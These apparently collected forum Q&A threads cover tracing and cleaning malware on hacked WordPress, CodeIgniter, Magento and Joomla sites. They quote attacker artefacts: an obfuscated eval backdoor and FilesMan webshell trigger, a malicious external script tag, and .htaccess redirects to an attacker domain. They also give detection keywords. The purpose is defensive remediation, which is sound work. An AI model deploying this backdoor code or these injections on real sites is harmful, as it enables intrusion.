How to track virus on WordPress site - php
I run a dedicated server with WHM/cPanel CentOS Apache.
One of my accounts on cPanel have a WordPress site that some how got a virus.
They use it to send mails / inject affiliate links etc.
I have ran AV scanners and also manually cleaned everything i can find, but the virus keep coming back. Is there any way i can log when someone uploads a file via PHP or even create or modify a file?
I have been going trough log files but i keep always seems to miss something so i want to try back-trace it and find the file they use to upload the PHP files with.
Use wordfence security plugin that will scan your whole wordpress site and also stop any type of injection. You will not face any trouble after this.
Related
WordPress files downloading instead of executing on the server
My WordPress files are downloading instead of executing on the server. I have tried changing the server but that does not solve the issue. I am sure it is happening from my WordPress files as the hosting runs other WordPress files smoothly. I wish I could could provide the code but that isn't needed. Please guide me. Thanks.
I have only seen this happen when: 1) PHP is turned off or not installed on the server 2) The server needs to be reset 3) File names are not correct 4) The redirect script is not redirecting as it should 5) Links are not valid The good news is most of these can be solved by you/your host. Call your host to ask them for help on verifying the PHP install/process. If everything is good (for instance, if you have another site on the same server that is working fine) then you need to verify file names. As this is WordPress and the file names are all pretty standard this isn't exactly likely but make sure there are no unwanted spaces and the file names are "something.php". With WordPress you may see a bunch of parameters passed through the URL so "something.php?blah=blah" Is fine too (no space between php and ?). Check the link you are clicking. The file names might be good but the link may be bad. It might be as simple as fixing all the link URLs. From what I recall of WordPress, there is a built in method of linking to pages within the same WP site. I believe these are all based off the URL in the database so you may want to verify the URL in the database/config file to verify WP is sending them to the correct place. If they are not stored in the database and are instead, coded directly into the content, you may have to manually update every link to the correct URL. Finally, if it is script or wordpress related you may want to consider a fresh WordPress install. The good thing about WordPress is all the good stuff is in the data base: 1) Make a backup of the data base 2) Trash your WP install completely 3) download and install new WP with desired plugins and themes 4) Restore database If the last step breaks the server again, check URLs within the database: http://codex.wordpress.org/Changing_The_Site_URL Your Host can usually help in backing up and restoring WP databases. Even godaddy (who does not support it) will often help you walk through the process (you really want to call the hosting team. As an ex-godaddy employee, those guys are the experts). If this isn't enough information, please provide a link to the site. It will allow me to do some quick troubleshooting to determine the overall issue. EDIT: Help for verifying php install Create a php file with the following contents: <?php phpinfo(); ?> And upload it to your site This will make information about your PHP install easily accessible Note: DO NOT LEAVE THIS FILE UP PERMANENTLY AND DO NOT POST A LINK PUBLICLY, YOU DO NOT WANT RANDOM PEOPLE ON THE INTERNET ACCESSING THIS INFORMATION If you can access the file and it loads up a bunch of information in a purple (I believe it is purple) table, your PHP install is up and running. If the file just downloads like the rest, contact your hosting provider.
Checking for virus and malware in a Wordpress site.
I just switched from a shared hosting to a VPS one. Before I didn't pay much attentions about security of my clients (who use WP) were taking a cautious care of preventing their sites from malwares/viruses that could be introduced from WP, because at this point if something had gone wrong my service providers would've detected the threat and would've disabled only that site. But now that I have a VPS, and my sites as well as my clients are hosted in the same root folder, I am thinking that I should monitor what my clients are doing to avoid any malicious entering out server. As a result, I have updated all software to latest and recommended versions, like using PDO instead of mysql, and set php.ini detectives to the best secure settings, and I have striped the ability of my clients from uploading any themes (Since the sites were given for free) and I have given upload folders strict permissions, so as nothing executable is uploaded to the server, and I am doing regular database/data backups. So, what I am looking for now is not necessarily how to make the servers more secure. But, in the unlikeliest case that something bad is uploaded/found.. how do I detect it and how would I shut down that specific website so as it does not spread or infect other files.
do you have access to server? you can tried with lmd (linux malmware detect) for know more about this
There is new virus in WP There's a downloading of a update.exe initiated by line <script src="//socialstatsplugin.com/jqury.js"></script> i Have done some reviews for this kind of virus. Just go to your WP folder and check if any unwanted hidden file and when you browse through that , the files are unreadable. As said Just do DELETE FROM wp_options WHERE option_name like '%wp_data_newa%' and delete all unwanted hidden folder within any folder. It worked till now. Hope it will help. Never knows the future. Thanks
Magento security issue
I am using a magento for my site. I am facing the some problem with it. After some time a code gets added in the header of the index files. and my site stops working. When I remove that error like (encrypted) code again site works well. Is there any way to avoid such code injections? I searched on the net but have not got the proper solution.
Only the /var and /media directories need to be writeable during normal operation, remove write privileges for the PHP user for all other dirs and files. This makes injection attacks much harder. This will interfere with updates applied via the Connect Manager, but I don't like to use that on live sites anyway. I prefer to apply updates on a local or staging copy, test, then upload via FTP or version control which does have write privileges.
Codeigniter application getting hacked, code injected in index.php
I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:
Malicious code is being added to the start of the index.php file
Rogue files are added to the server
According to the host there are no FTP logs to indicate these files were uploaded.
As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?
The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?
Would it help if I change the filename of index.php to something else?
As the index.php is getting modified should I CHMOD it to 644?
I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?
Code injected to the top of the index.php file:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.
There's a couple of things you can do: Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem. Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...) Chmod upload directories 775 instead of 777 if possible
I know this is an old thread, but I'd like to add an option to figure out what and where the problem is occurring. Create a hook which loads each time (doesn't matter at which stage) and dump the $this->input->post() and ->get() to a log file together with the classname and method name. This way you will see quick enough where the problem started.
I think is far easier to hack through a PHP app rather than an FTP server. Do you have any upload forms ? If you can't go with a VPS, try asking your host to move it to another shared server.
I think you really need to perform a code audit to find where the core vulnerability lies. Unless you run some sort of integrity checks you can't be sure if attacker has put backdoor in other files. As a quick fix, I would suggest you to install ModSecurity Apache module if possible. Next, look for places in code where file injection could occur (usually file upload functions).
Virus/malware modifying .htaccess on Joomla CMS website
I have a Joomla 1.0 website running on a shared host which I don't have shell access (only FTP available). Recently my website has been marked as malware site by Google and I notify that the .htaccess file is modified with malicious contents. These redirections rule to a website called 'depositpeter.ru' are added to the .htaccess: ErrorDocument 400 http://depositpeter.ru/mnp/index.php ErrorDocument 401 http://depositpeter.ru/mnp/index.php ... If I clean this .htaccess file, it will be modified back with malicious contents a few minutes later. I suspect there are some backdoor PHP and javascript has been injected to our codebase which constantly modifies the .htaccess file. However I have no idea how these malware landed on my site in the first place. I'm pretty sure that no FTP users have uploaded those to my site. A virus scan found that there is a user-uploaded image being injected with PHP.ShellExec malware (I'm not sure how this PHP.ShellExec work and if it is related to the .htaccess virus though). My question is how should I start troubleshooting and cleaning this malware? I'm pretty clueless and have little experience dealing with web malware. Any help is greatly appreciate!
It might be beyond your power to fix this yourself. But here are some things that you should do. Download any apache/php logs you have - these can point to the security holes being exploited. If you can find the entries, make sure the holes are covered. Remove the image that is indicated as infected. Contact your host - several hosting companies have automated solutions to find and clean up common vulnerabilities. Also, if your site is infected, odds are, other clients on the same server are, too. Conversely, it might be another client on the same server that's causing this problem for you. Add an .htaccess file in the uploads directory that would prevent access to anything other than uploaded images. It might look something like this: Order deny,allow Deny from all <FilesMatch "\.(jpe?g|bmp|png)$"> Allow from all </FilesMatch> If your host hasn't blocked functions that allow php to invoke system commands (you'd be surprised) and you know what to do, you can mimic shell access with a custom php script using system, exec, popen and some other functions. I use a script I made myself: https://github.com/DCoderLT/Misc_Tools/blob/master/sh/sh.php . It's fairly primitive, but got the job done when I needed it to. Future considerations: Make backups. Your hosting company might provide these going back a certain period of time. Keep an eye on the updates. Subscribe to the Joomla announcements mailing list. Apply these updates as quickly as you can. Popular applications like Joomla and WordPress are a frequent and easy target for script kiddies and automated bots. Make backups. Make sure your hosting company has the server set up properly, so that user A cannot affect user B's files (file permissions, suexec or similar). I don't know how common this is these days, but it used to be a frequent oversight in the past. Make backups. Don't leave write permissions enabled on files and folders that don't need it. Make backups.
What kind of PHP-Framework/CMS are you running there? First thing would be to get an update there. Second idea would be to remove the write-right on these directories, where the PHP-Shell gets put. Third thing I'd do is to remove the php-shell (try to find files that dont belong to your cms/framework). good luck